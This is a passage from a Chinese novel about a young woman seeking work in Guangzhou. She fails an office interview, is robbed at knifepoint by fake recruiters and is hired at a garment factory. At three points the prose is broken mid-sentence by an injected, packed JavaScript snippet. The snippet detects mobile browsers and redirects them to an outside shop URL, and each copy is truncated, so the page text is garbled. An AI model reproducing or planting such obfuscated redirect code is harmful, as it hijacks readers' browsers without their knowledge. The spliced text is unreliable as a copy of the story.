“之前来过广州。”麦丽娜装作老道,拍拍枕头,“这家旅馆倒是第一次来。” “不怕,住两天就惯了。”大姐笑了,露出一颗金牙。 旁边几个女人也凑过来,七嘴八舌问她从哪里来、多大了、出来做什么。 麦丽娜一一答了。 “高中?”金牙大姐眼睛亮了,“哎哟,高中生啊!那好找工作了!” 麦丽娜心里一动,忙问:“真的吗?我想找那种……文员之类的,不知道行不行?” “文员?那肯定能啊!”大姐一拍大腿,“我认识一个,也是你们那边的,初中毕业,来广州三年,现在都当经理了!” 旁边一个瘦些的女人插嘴:“对对对,我表妹也是,高中毕业,进了一家大公司,做前台,一个月一千多!” “前台就一千多?”麦丽娜眼睛亮了。 “那可不!”瘦女人说,“你好好找,肯定能找到。广州这么大,机会多的是。” 麦丽娜心满意足地躺下,不一会便做起逆天改命的美梦。 第二天她从柜员机用郭允晟的卡提了五百块,人靠衣装,为了让自己更像坐办公室的,她打算先去就近的商贸城淘身像样的行头。 “这件多少钱?” 没人搭理她。 “喂,老板,这衣服多少钱?” 档口的人抬手往门口“谢绝零售”的牌子上一拍,继续埋头理货。 她愣了愣,批发了不起啊,有生意都不做! 她转战出名的上下九,见到专卖店里标着【换季大清仓】就往里冲。 “什么?打完折还要上千块?”——而就在它旁边的卖场,10元20元的T恤随处可见。 同是服装,差别怎么这么大?麦丽娜想不通。 最终,她在路边小店淘了一套西装和衬衣,一双黑色中跟鞋和一个小手提包,俨然富豪大排档的部长,信心满满地踏入写字楼。 昨天,她从《广州日报》的招聘启事一栏,看到“总经理助理”的招聘——“女,18-25岁,高中以上学历,负责会议记录、行程安排、客户接待。待遇面议。” 她把这行字看了三遍。会议记录——她会写字。行程安排——这个可以学。客户接待——不就是倒茶递水吗? 她觉得她能行。 但招聘主管不这么认为。“会电脑吗?” 麦丽娜摇摇头。 “打字呢?” 又摇头。 “英语呢?会说几句吗?” 麦丽娜张了张嘴,想说什么,又咽回去了。 敲门声,前台进来,递给招聘主管一张纸。主管接过来,扫了一眼,放在桌上,转过来给麦丽娜看。 “这个,也是高中毕业。”她指了指那张纸,“在培训班学过三个月电脑,会打字,会做表格,会发传真。之前在一家公司做过半年前台,知道怎么接电话怎么待人接物。你呢?” 麦丽娜看着那张纸,上面的字密密麻麻,她看不太懂,但“工作经验”那一栏写着好几行。 主管把纸收回去,靠在椅背上,看着她。 “小姑娘,你知道什么叫总经理助理吗?” 麦丽娜摇摇头。 主管拿起桌上的茶杯,喝了一口水,慢慢说: “总经理助理,不是给总经理倒茶的。是要帮他处理文件、安排行程、对接客户、开会做记录、出差订酒店、来客人了要会说话、走客人了要会送。老板想不到的,你要想到;老板忘记的,你要记得。电话响了三声必须接,邮件来了十分钟内要回。有时候加班到半夜,第二天早上还要准时到。” 她顿了顿,看着麦丽娜。 “你觉得这些,你会哪一样?” 麦丽娜张了张嘴,说不出话。 主管把茶杯放下,站起来,走到窗前,背对着她。 “你以为高中毕业就能做文员?那是十年前的事了。现在来应聘的,哪个不是高中毕业?还有大专的,本科的,留过学的。人家不光有学历,还会电脑,会英语,知道怎么穿衣服怎么说话,知道面试之前先打个电话约一下,不会像你这样,门都不敲就闯进来。” 麦丽娜坐在那里,手心出了汗。 主管转过身,看着她。 “我不是打击你。我是告诉你,这栋楼里,随便哪家公司,你推门进去,都是这个结果。” 她走回桌边,坐下来,拿起笔,继续看刚才那份文件。 麦丽娜讪讪站起来,向她点点头,“谢谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317737|199003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你。”然后无声地离开。 那天她深受打击,什么文员梦,什么坐办公室穿西裙,什么一万二一个月,全他妈是放屁。 她蹲在写字楼底下的花坛边上,太阳晒得头皮发烫,来来往往的人从她身边走过,没人看她一眼。 “你高中生,肯定能找到好工作。” 好工作。 什么他妈的好工作。 亏她还想着如果对方要看毕业证,她就想办法让郭允晟寄过来——人家连问都没问。 狗屁西装,根本糊弄不了人。 有个穿高跟鞋的女人从她面前经过,“嗒嗒嗒”的声音清脆得很,手里拎着个公文包,头发一丝不乱。麦丽娜盯着那个背影看了很久,直到她拐进另一栋楼不见了。 她低头看看自己。 笑了笑。 好傻,为那张高中毕业证吃了那么多苦,结果拿出去不值一文。 她不死心,穿梭在不同的招聘单位。才发现,连商场里的售货员都要高中毕业证。 广州确实遍地黄金,可惜每块金子上都明码标价:学历、技能、身份……没有一样她付得起。 郭允晟的卡里的五千块,没几天又少了一笔,麦丽娜的信心随着余额越来越少。 “不怕,我还有最后一招。”她对自己说。 出来找了间最不起眼的超市,买了一袋利是糖和一提椰汁,用公用电话给广州的三姨婆打了个电话。 这三姨婆到底是哪门子的远房亲戚,谁也说不清。只记得前几年她常打电话来,让帮忙找些乡下才有的草药治高血压。 麦母一心想攀上这门省城亲戚,每次都哐哐打包一大箱寄过去。可人家收是收了,回回都只是几句客套话:“有空带孩子来广州玩啊。”回头寄来两袋旧衣裳,就算还了人情。 电话那头“哦哦”了好一阵,三姨婆才恍恍惚惚想起有这么个远亲,热情顿时涌了上来: “来广州了?快过来坐坐!” 麦丽娜捏着嗓子,学着电视里的腔调:“我爸妈特意交代,一定要来探望三姨婆。不知道您什么时候方便?” “哎呀自家人客气什么!你自己认得路不?今晚来我这吃饭!” “那好吧!打扰三姨婆了。” 麦丽娜挂掉电话,整了整那身皱巴巴的黑西装,拎着那袋在她看来相当体面的手信,一路坐着公交车绕过去。 这是她最后的指望。 三姨婆在广州扎根几十年,枝繁叶茂,随便介绍个工作,都比她像无头苍蝇乱撞强。 她深吸一口气,理了理衣领——这一关,可比面试还重要。 三姨婆给的地址在白天鹅宾馆后头,那可是广州顶金贵的地段,人称“老钱区”。麦丽娜心里一喜——自家亲戚能住这儿,准是发了大财。 可越往里走,景象却越发破败。 当她停在一栋墙皮剥落的单位宿舍楼前时,简直不敢相信自己的眼睛——这省城人住的,还不如他们乡下小楼气派。连门口那看门的老头也比村里的还老,还如此没见识,硬拉她要登记,反复问她是不是来推销的。 等她踏进那破旧的大院,心瞬间凉了半截。七八十年代的建筑,硬是刷了表面的墙,墙角堆着不知谁家的烂板凳,晾衣绳上挂着不知谁家的被子衣服,一看就知道不是什么有钱人住的地方。 大隐隐于市,也许有钱人的生活就这么朴实无华呢? 她硬着头皮爬上楼梯,终于站在三姨婆家门前。当她看见那个塞满各式破鞋的木鞋柜,以及门缝里透出的油腻油烟味时,她不能再骗自己。 “来都来了,怎么也得吃一顿再走。” 麦丽娜努力堆起笑容,按下门铃。 8. 穷亲戚的表演 “哎呦,丽娜来了!长这么大了啊!” 三姨婆开门时愣了愣,马上换上熟稔又热情的表情,“快进来,大家都在等你呢!” “不好意思让你们久等了……” 麦丽娜正想一脚踏进门,三姨婆忽又拦住,拿出一双旧拖鞋让她换上。 “哦哦,差点忘了。”麦丽娜赔着笑,将礼品交给三姨婆,弯腰换上拖鞋。 那拖鞋很小,她只能伸半只脚进去,撑着鞋头走路。 三姨婆随手将礼品放到鞋柜上,带点埋怨的语气说:“你一个人出来啊?这里很难找吧,我们等你大半天了。平时我们习惯六点半开饭,晚了嘉欣要上补习……” 麦丽娜看到小小的厅里挤满了人,客气的笑容伴随着审视的目光,像真人秀里的评委,礼貌的言语背后是满嘴的挑剔。 “这是三姨丈,你表叔、表婶,他们刚下班回来——” 麦丽娜热情地点头问好。 “哇好臭!”一个十来岁的女孩捏着鼻子喊,“是臭水沟的味!” “嘉欣!不要没礼貌!”表婶呵斥了声,善解人意地为麦丽娜开解:“广州的天太热了,在外面走一圈人都湿透了。” 表婶的目光落在麦丽娜油浸般的头发上,麦丽娜差点失笑,在小旅馆还以为是别人的酸臭味,原来是自己的啊!亏她三天没洗澡,在广东不发馊才怪。 “我转了好多趟车才找到这里!出了好多汗,人都热晕了,不如让我先洗个澡?”好死不死她还穿着两件套,麦丽娜抖起贴身的衬衣,瞬间屋里汗臭味更大了。 三姨婆很是为难,晚饭都准备好了,可总不能让一家人就着馊味吃饭吧。 “那就洗一洗吧,卫生间在那。”她指了指厨房后的小隔间。 小小卫生间挤得可怜,三平方里既装着马桶又塞着洗衣机,地上还放着经典塑料大红盆。麦丽娜踩在地上一堆瓶瓶罐罐中央,像个杂技演员。 但即便是咫尺之地,也足以让她尽情享受凉快的淋浴。 这个澡麦丽娜足足洗了十五分钟,出来那个叫神清气爽。 她哼着小调摆出广告中模特洗澡的动作,一开心便说个不停:“你们家的洗衣机好高级啊,上面写着英文,是进口的吗?还有那沐浴液,我在香港台看到过,Zest……” “洗澡呢,不用洗那么久,五分钟够了,洗太久对血压不好。”三姨丈含蓄地打断她,心疼那畅流十五分钟的自来水。 “咱们家洗澡太舒服了!我一洗起来就忘了时间,不好意思啊!”麦丽娜黑黝黝的脸蛋散发着洗澡后红润的光,一副完全没听出任何不悦的样子。 三姨婆欲言又止,无奈地招了招手,“快吃饭吧,菜都凉了。” 就算来的是穷亲戚,桌上还是多备了鱼肉等硬菜。麦丽娜啃了三天面包,见到白切鸡眼睛发光,筷子朝鸡肉不停地夹去,饭也多吃了一碗。为了不冷场,她还不停跟一家老小唠叨家常。 “你们这地头房价很贵吧?这里一套房能顶我们那里一套别墅。” “嘉欣上几年级了?英语学到哪了?有什么不会我教你。Nicetomeetyou.” “还是家常菜好吃,麦当劳那汉堡包那味吃得我想吐,鬼佬怎么喜欢那玩意?” 麦丽娜眉飞色舞地说了小半个钟头,从老家的变化说到广州的发展;从小时的趣事到长大后的雄心壮志;从家里的经济情况说到找工作的困难……直到最后没话可说了,才小心翼翼地说: “三姨婆您见识广、人脉多,表叔又是咱家族里最有本事的……”她嘴里像抹了蜜似的,把能想到的奉承话翻来覆去说了个遍。 一桌子人勉强挂着笑,筷子在菜盘里挑挑拣拣,直到听见她拐弯抹角地提起找工作的事,饭桌渐渐安静下来。 三姨婆端着饭碗的手僵在半空,心里直发苦,当初不过是想省几个药钱,让乡下亲戚帮着找点土方子,谁成想竟招来个甩不掉的包袱? “找工作要慢慢来,我们当年吃了很多苦才来到现在单位的。”三姨丈不紧不慢地说。 “你想找什么样的工作呢?”表叔皱着眉头问。 “外面天气这么热,要是有份能吹空调的工作就好了。”麦丽娜立马答道,她还有一点点奢望,说不定,亲戚长袖善舞,能拐弯给她塞进哪里呢。 表叔问了她的学历就不出声了,表婶还客气两句:“我帮你问问啊。” 麦丽娜感谢个不停,兴奋地表示每天都要打电话来问进展。 吃完饭三姨婆亲自将她送出去,硬是将鞋柜上的利是糖和椰汁塞回给她。麦丽娜毕竟刚出社会,以为亲戚体谅她没什么钱,不好收礼,对三姨婆感激不尽。 第一天,她充满期待地打电话过去,没有人接。 第二天,她继续忐忑不安地拨打,还是没有人接。 第三天、第四天……手里的钱越来越少。 就在她快要绝望的时候,电话忽然接通了。她的狂喜还未停留一分钟,便听三姨婆惊讶又责备的声音说:“阿娜!你在哪?你爸打电话来说——” “啪”,麦丽娜猛地挂断电话,本能地逃离电话亭。 三姨婆这边是没希望了。 怎么办? 接下来怎么办? 巨大的无助和茫然一下子笼罩住她。她突然非常害怕,比逃出家乡还害怕,以前,她有逃脱的目标和计划,可现在,她不知道自己要做什么才能生存下去? 密集的人流往火车站涌,麦丽娜被裹挟在人流中,漫无目的又心如死灰地前行。 要回去吗? 她想起老朱的嘴脸。想起那晚的折磨。 不,坚决不回去,打死都不回去,死也要死在广州! 出站口人潮汹涌,一批又一批背着巨大行囊的农民工像黄蜂般轰然而出。 治安队员不耐烦地驱赶躺在角落的流浪汉,小贩们脖子上挂着装满香烟口香糖的木匣,在人群中灵活穿梭。 “日结80!现结现走!” 远处传来高声吆喝,是有人举着纸牌在出口处招揽工人,旁边野鸡车司机也举着地名的牌子争抢刚下车的旅客。 麦丽娜努力辨认出招工的人,像抓住救命稻草般挤过去。 “老板招什么工?” 举牌的男人打量着她那身不合身的西装和紧紧攥在手里的挎包,粗声回答:“零工,你一个人?” “一个月能挣多少?” “一千五到两千五,加班多还能往上加。” 这数字让麦丽娜心头一跳——不比文员差呀。她强压激动:“包吃住吗?” 那男人轻蔑一笑:“肯定的,这边都包吃住。做得好还有奖金补贴,一个月到手三千没问题。” “差不多,我老乡工资也是这个数。”麦丽娜装作懂行地点点头,一点都不觉得离谱。 男人朝旁边招招手,一个皮肤黝黑、神情木讷的矮个子走了过来。“他带你去厂里看看,不满意再送你回来。” 还有这等好事? 麦丽娜二话不说跟在黑矮个后面,生怕人家不带他。“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317738|199003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不是还要面试?”她忽然想起问道。 黑矮个噗地吐掉嘴里的牙签,斜眼瞅她:“就你这身打扮,当主管都够格。” 麦丽娜暗喜,“我就是来应聘主管的,主管多少钱?” “比小工高。”黑矮个不说了,领着她上了一辆锈迹斑斑的金杯面包车,里面已经坐了个瘦高男人,说是一起去见工的。 小金杯摇摇晃晃从火车站开出,穿过人车密集的都市,往人烟稀少的公路开去。 麦丽娜很兴奋,一会问这是哪里,那又是什么地方,一会又怕被人看出自己没见过世面。 不知不觉已经开了一个小时,稀疏的建筑引起麦丽娜警觉,试探问道:“举牌那大哥说你们帮好几家工厂招工,是哪几家呀?” “有做机器的、有做服装的,还有做别的。”黑矮个说话意简言赅,“你看中哪个就去做哪个。” “这些厂都建在这么远的地方吗?” “这可是广州,不是你们那小地方。地皮贵,吃住又贵,还有什么环保要求……现在老板都在郊区做厂,不然哪吃得消啊。” 麦丽娜瞥了眼身旁那个靠在位子上昏昏沉沉的瘦高个,他看起来一点都不担心。她忍不住问:“大哥,你去做啥的?” 瘦高个有气无力地答:“做啥?啥给的钱多就做啥。” 答案无可挑剔,麦丽娜仍无法压抑心中的不安,凑过去小声发问:“大哥你不担心被骗吗?我听说火车站很多‘卖猪仔’的,将人拉到黑工厂,不给钱不放人。” 开车的黑矮个似乎专心开车没听到,麦丽娜一颗心悬在半空,怪自己一心只想着脱困,这才想起那些在报纸上看到的危险,跳车已经来不及了,她害怕葬身荒野。 瘦高个说话了:“怕什么,你不听他们乱吹,不吃他们给的东西,不上他们的车就行了。” 麦丽娜无语,不知道是瘦高个有问题还是自己有问题。 前排黑矮个冷不丁笑出来:“你现在才想起这个,太迟了吧。” “大哥,我这小矮个,手脚又慢,卖不出什么好价钱。你放了我吧,我包里还剩两百块,都给你。”麦丽娜一手扶着前面的椅子后背,探前上半身,真诚地哀求道。 “瞧把你吓得,跟你开个玩笑。老哥是那样的人吗?再说了,你那两百块还不够我加油费呢。”黑矮个笑着说道,“快到了,快到了啊。” 麦丽娜望向车窗外,远处掠过一些厂房的围墙,写着“讲文明、树新风”、“迎九运、促发展”之类的大字,在杂草丛中格外醒目。 她松开紧抓住手提包的手指。 “你看,没骗你吧。”黑矮个稳稳当当地将金杯拐进一条小路。“你看法制节目吗?‘卖猪仔’那是贩卖人口啊,将人运到黑工厂、黑煤矿,被抓住是要判刑的。你又没钱,我图啥?” “就是嘛,贩卖人口要吃子弹的。”麦丽娜心不在焉地附和,眼睛不停地观察窗外。 “吃子弹倒不至于,就是很麻烦。你第一次来广州吧?以后要注意,凡是问你要‘介绍费’、‘体检费’的,都不是正经厂。”黑矮个慢悠悠地说着,一直朝前开。很快厂房也不见了,来到一处荒地。 “还要多久啊?”麦丽娜忍不住打断他。 “像我们就不会搞那些,太黑心了。”小金杯突然猛地停下,黑矮个回过头,“你把钱都拿出来,不用卖身给黑工厂。” “啥?”麦丽娜以为自己听错。 身旁的瘦高个突然坐起来,变出一把小刀,晃在麦丽娜眼前,“拿钱出来。” 9. 靓女没有钱 “救命啊!”麦丽娜使劲拉门,车门纹丝不动。 “救命啊!”外面一个人都没有。 “别动!”瘦高个厉声喝道。 小刀的反光刺进眼里,麦丽娜放弃挣扎。 “大哥,你把我拉这么远,就为了打劫吗?”麦丽娜缩成一团,颤颤巍巍地问。 “最近管得严,没法在城里弄。你配合点,等下我还来得及再拉一个。”黑矮个不耐烦地摇下车窗,往外吐一口痰。 麦丽娜不情愿地递出手提包递,黑矮个一把抢过扒拉起来,“妈的!还真是两百块!”他朝瘦高个使个眼色。 瘦高个一把扯住麦丽娜衣服就撕,麦丽娜惊恐地哇哇大叫。“不想脱光跑出去就把钱拿出来!” “我没钱了!都给你们了!”麦丽娜大叫着挣扎,“求求你们……” “不见棺材不掉泪。脱!给我狠狠地脱!” 瘦高个力气大得很,一手架住麦丽娜的手,一手抓她的衣服。麦丽娜听到斥了巨资、才买几天的衣服“刷——”地破裂,好比手里的钱被人撕了,比打她还心疼。 “停!我让你停下!”麦丽娜突然怒吼一声,乱挥的双手停下来,拨开眼前的乱发,两脚一蹬,从鞋子里拔出一张银行卡。 “我就说,她穿成这样的,怎么会没钱?”黑矮个“啧”了一声。 瘦高个抢过银行卡,又将她另外一只鞋里的身份证拿走。 “密码是多少?”瘦高个又晃出小刀,“不要说谎,要是我发现你说谎——”他把刀子顶在麦丽娜的脖子上,“你死在这里也没人知道。” 麦丽娜知道这是真的,她跑上大巴的那一刻,就意味着没人再留意她的生死。想到这一路来的艰辛,想到这样的结局,她眼泪顿时哗哗地涌出。 瘦高个满意她的反应,手上加力,“快点!老子没耐心了!” 麦丽娜念出一串数字,可怜巴巴地哀求道:“把身份证给我吧,起码让收尸的人知道我叫什么。” 黑矮个哈哈大笑,跳下驾驶座,一把拉开后车厢的车门,将她拖出来,拽到路旁,从裤兜里摸出一把弹簧刀,对准她眼睛:“你见过我们,这双大眼睛不能留了!” 在极度恐惧面前,麦丽娜浑身发软,喊也喊不出来,瞳孔盯着眼前的刀尖,眼泪鼻涕不断地流出。 “你刚才说谎了,我再问你一次,银行密码是多少?!”黑矮个将刀尖逼前一厘米。 “……我没骗你……就是那密码……”麦丽娜恐惧地辩解着,低声重复刚才那串数字,“求求你……不要杀我……不要弄瞎我……” “靓女,钱重要还是命重要,你想清楚!”瘦高个在旁边发出最后警告。 麦丽娜突然大哭一声,伏倒在地,肩膀一耸一耸抽动着,认命地低着头。 她等着那一刀落下,却听见汽车发动机“轰——”的声音,抬头一看,黑矮个和瘦高个已经上了车,正将车开走。 也不知哪来的勇气,她猛地站起来追着面包车跑。“身份证!身份证还给我!” 郊区的荒道上,一名衣衫不整、泪流满面的女子远远地跟在小金杯后面,疯狂挥动着手。 “身份证!身份证……” 她的中跟鞋已经破开,脚趾踩在石块上,鞋底因为跑得太快折了折,差点绊了一跤。 小金杯绝尘而去。 “去死啦!死扑街!有命抢钱没命花!出门被汽车撞死!吃饭被骨头噎死!打架被人砍死……”麦丽娜愤怒地朝着那辆小车,一口气骂出她想到的所有脏话。 就在小车快要消失在视线内的时候,车窗扔下她的手提包。 麦丽娜丝毫不顾流血的脚趾头,一路小跑过去。 “我的身份证!”她捡起手提包,翻出那用巨大代价换来的身份证,紧紧贴在胸口,露出庆幸的笑容——她没死,歹徒也没拿到卡里的钱。 她不会告诉他们真正密码,就算她没法再取款,也不会让这种人得到银行卡里的钱——那是男神给她的救命钱!他们不知道在穷人眼里,钱比命重要吗? 麦丽娜赤着脚,提着皮鞋往前走。她不怕石子硌得疼,脑里忙着盘算这趟损失了多少——鞋子破了修修还能穿,西装她检查了一下,没有坏,刚才撕破的是里面的衬衣,盖住外套便看不到,只是每天得穿秋冬两件套。 总的来说,损失不算太大,缝缝补补就行了——可是,她身上一分钱都被劫走了,没有钱,怎么活? 四顾茫然,路旁的杂草掩盖着一条又臭又黑的河涌,蚊虫萦绕,恶心的气味延绵不绝。沿着黑水河一直走,仿佛悲伤没有尽头。 不知走了多久,厂区的大字又出现在眼前,“讲文明、树新风”、“迎九运、促发展”…… 麦丽娜苦笑,歹徒哥诚不欺我,辗转半天,还是来到了打工圣地。饥饿的肚子突然一阵绞痛,撑不住了,一天没吃上饭,钱又被劫,精神和身体都到了崩溃的边缘。 南方的夏日特别漫长,傍晚六七点还阳光普照,让人误以为在下午。 永隆服装厂门口的招聘摊位晾了半天,没几个人来见工,正准备收摊,远远见到一个销售不像销售、中介不像中介的女人捂着肚子、吧嗒吧嗒地赶过来。 “等等,等等……”麦丽娜走不快,穿着破鞋子飞奔,那鞋头像癞蛤蟆的嘴巴,一张一合的,吐出里面通红的脚趾。本来场面够尴尬,可她还不以为意,扯着嗓门说:“一听到你们这招聘,我就飞速赶来了,鞋子都跑破了。” 两个男人正在收遮阳篷,旁边一个中年女人好笑地看着她,用粤语说:“不急不急,你脚趾头都出血了。” 麦丽娜在招聘小桌子前坐下,那女的看她一头大汗,还捂着一身西装,头发一缕缕地粘在额头,好心地递给她一瓶水。 麦丽娜咕咚咕咚地喝了半瓶,长长呼出一口气,感觉又活过来了。 “你从哪里来啊?怎么这个样子?”坐在麦丽娜对面的女人穿得新潮又贵气,像是广告里打高尔夫的有钱人。 麦丽娜猜她肯定身份不低,忙坐正了回答。 “我在火车站那边卖衣服的。听我一个姐妹说这里效益好,就赶紧过来。”麦丽娜见是招人的是服装厂,肯定是要找有经验的,她不会车工,只能攀上这么个边缘技能。“虽然我不大会做衣服,但我可以学!” 那女人打量她的衣着,不大相信服装城里面的人会穿这个卖衣服,“你们卖的是职业套装啊?” “是,是啊!”麦丽娜不自觉地拔高声调。 “什么价位?” 麦丽娜愣了愣,想到商场里千元的西装,又想到街边自己买的200块,心里迅速估算了个保守的价格:“批发150。” 那女人哦了声,“那你们的售价还挺贵的,我看成本也就30左右。销量还好吗?” “还行,我们有专供的客户。”麦丽娜恨恨地咬紧牙关,一口老血差点吐出来,奸商!回头不撕了你那小摊! 听到有专供的客户,中年女人点点头,忽然话锋一转:“你们干批发不是挺赚钱的,怎么肯来厂里打工?”她怀疑的目光毫不掩饰地扫向麦丽娜。 麦丽娜立马后悔,她应该先去服装城问一问有没招人的,怎么之前没想到呢?——也许自己太想坐办公室,太期待三姨婆家的电话吧。 “不怕跟你说,我这人太老实了,老板嫌我笨,不会卖货,就把我开了。我看他们就嫌我丑!”麦丽娜一本正经地说。 中年女人笑了笑,很快又皱起眉头,“你之前做什么都不要紧,人踏实肯干就行。只是这次我们要招熟手工,你不会做很麻烦。” “我可以学,真的!如果一个月我还学不会你就开除我!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317739|199003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麦丽娜想着起码能赖一个月也好啊,她现在饿晕了,这里再不行,她真是要饿死街头了。 “我要不是真心想做点实在的,也不会这么大老远赶来,请你看在我鞋子都跑破了的份上,给我一个机会!” “嗯……”对方思量着,“你身份证呢?” 麦丽娜急切地递上身份证,刚才被歹徒推搡时擦破了手,新鲜的血痕来不及藏起。 中年女人飞快瞥了眼,又装作没看到的样子,抓住她身份证翻来覆去地看。 “麦丽娜……20岁……做过不少工作吧?” “做过一些,销售啊,文员啊,我都做过。” 麦丽娜努力拼凑起一个20岁女青年的经历。“而且我高中毕业。”她特意强调,这里打工的人很少高中学历吧? “我们这里不需要文凭。” 中年女人把身份证还给她。 麦丽娜面色白了白,她已经被打击过很多次了,如果连工厂都不需要她的学历,她还能去哪? “你粤语说得挺好,国语呢?” 感谢这一年来的勤学苦练,她粤语完美过关,这下又用普通话说了几句,对方总算点了点头。 “这边都是北仔北妹,我跟他们说不清楚。”女人看了眼麦丽娜,“我早就想招个助理,一忙起来又忘了。不过助理是没有加班工资的,OK吗?” “OKOK!”麦丽娜喜出望外,忙不迭答应。“那包吃住吗?”她犹豫着问,遇上这么好的事,她有点抓不准。 “我是永隆的老板娘,你可以叫我眉姐。我时不时要回香港的,你就帮我看厂,有什么事向我传达。” 见她紧张的样子,眉姐冲她笑了笑,“你跟他们一样,住在这里的宿舍,厂里有饭堂,午餐晚餐不用钱。” 麦丽娜心里乐开了花,努力忍住不傻笑出来。 “试用期三个月,工资是一千二,在这边算高的了。” 眉姐注意到麦丽娜表情变了变,继续道:“转了正就一千五。你刚来,要学一段时间才能上手,我是给你带薪学习啊。你做得好,以后很多事要交你,不会亏待你的。” “谢谢老板娘!!”麦丽娜霍地站起来,朝她鞠了个躬,“老板娘,我不会让你失望的!” “我看我们挺有缘分的,今天没招到什么人,我本来要走了,结果遇到你。”眉姐瞧她这劲头很满意,招呼一个年轻男人过来,“阿德,你带她办好手续,熟悉熟悉厂房。” “她住哪里?”阿德问。 “你……让她跟桂姐住一起吧。”眉姐下达完指令,很快便开着门口停的黑色皇冠离开。 又是助理。 麦丽娜还未问做老板娘助理是干嘛的,要不要做会议记录、行程安排?但看阿德将她领进一个两人宿舍,说其他小姑娘只能住八人宿舍时,她就意识到“助理”只是个虚词。 这职位重点并不在于它的工作内容,而在于它的位置——可大可小,做好了,那是太后身边的李莲英,享受贵宾待遇;做不好,就是夹在中间的受气包,左右都不讨好。 她又觉得她能行了。 宿舍里那个叫“桂姐”的人不在,床位上空空如也。麦丽娜在饭堂大吃一顿后,问阿德借了50块,买了些生活用品,然后巡视她的新世界。 天已经渐黑,厂区的路灯亮着晦涩不明的光,电线如蛛网般纠缠在铁皮屋顶上,一旁的工厂仍发出机器的轰鸣,另一旁的工厂则下班休息,打工仔和打工妹三三两两走出,用方言叫骂调笑。 巷子里的录像厅闪着暧昧的霓虹,大排档的炒锅呛出带着辣味的油烟。垃圾堆的墙上贴满了小广告,仔细一看,一半是招工,一半是人流。 麦丽娜扔掉那套捂臭了的破西装和惨不忍睹的中跟鞋,彻底和过去说拜拜。 以后这里就是她的家乡。 10. 一来就开打 永隆服装厂的老板叫周永隆,是个香港人。平时极少见他,出货的时候眉姐过来监控一下,其他时候厂子就靠几个“中层干部”管理。 一个是阿德,管行政、后勤、司机,是个油水职位。老板的堂弟。 一个是老何,掌握着财政大权,整天拿着账本神神秘秘,也是老板的人。 一个是桂姨,厂子的主管和监工,天天拧巴着脸,人称“黑山老妖”。是老板娘的什么亲戚。 还有一个就是麦丽娜,老板娘的狗腿子,所谓助理就是打杂。 这个厂旺季时员工高达五六十名,是这一带规模数一数二的厂家。周围通常是二十来人的小厂,零零碎碎,做什么的都有,而她却一脚踏入行业标杆的大门,成为仅次于老板娘的“管理者”。麦丽娜觉得自己运气还可以,塞翁失马焉知非福,被抢走四千块换来一份好工作,是天意。 郊区工厂普遍采用“底薪+计件”的混合工资,永隆的保底工资是600元,比广州的最低标准450元要高。但是车工要求也很高,因为面向香港和珠三角的大商场,“绝不能被人认为是大路货。” 眉姐常说他们这些港商,在大陆办厂最遵纪守法了,比起那些无证经营的小厂,简直就是来做慈善的,给工人吃好住好、办居住证、所有规章制度都透明化。 “缝一条牛仔裤裤脚一毛五就是一毛五,不会说订单降价就随便压价,只要你乖乖做,一天赚个六七十块没跑的。” 麦丽娜掐指一算,哇,工人工资能去到两千四一个月,是她的两倍啊。 “加班还要另算,一个月三千都不止!”桂姨骂:“赚得比我们还多,还天天不知足,偷奸耍滑,糟蹋好料子。” 为了照顾她不会车衣,桂姨将她安排在监工和质检的位子,监控工人们上下班、检查出来的成品就行了。 “不要因为你新来就怕她们,我们的货要求很严格的,那头验收不过,全都白干!”叮嘱完麦丽娜,桂姨转头向工人训话:“这批货赶不出来,客户要撤单,全厂喝西北风!” 麦丽娜重重点头——这不就跟抓迟到早退的同学、检查作业一个样吗? 为感激老板娘和桂姨的重用,她力求每一项监管执行到位,每天早来一小时,先去食堂拉人,又去厕所掐表,像赶羊一样将工人赶回工位上。质检时更是金晶火眼,她的位子上,要求返工的衣服堆成一座小山。 “妈的,老妖婆没走,又来了个小妖婆!” “下面毛都没长齐,就在那指手画脚,‘这里走线了’、‘扣子订歪了’、‘花边脱了’……懂个屁毛!” 女工们谁也不把麦丽娜放眼里,学她说话,在她面前故意用方言笑她。 想到自己新来,麦丽娜忍住了,但有时确实忍不了。 这天,一个叫罗红英的女工将两件返工的衣服扔到她脸上,“你他妈故意搞我是吧?” 麦丽娜火蹭地上头,将衣服用力扔回给她,“你不看看自己的活,拿出去笑死人!” “你不来啥事都没有,你一来就搞事情!”罗红英把衣服往车衣一拍,挑衅地看向她,“怎么,想在老板娘面前表现,就拿我们开刀啊?” “你不服就拿去给眉姐看!”麦丽娜霍地站起来。 “哟,这就想告状了?”罗红英逼上一步,顶在麦丽娜面前。 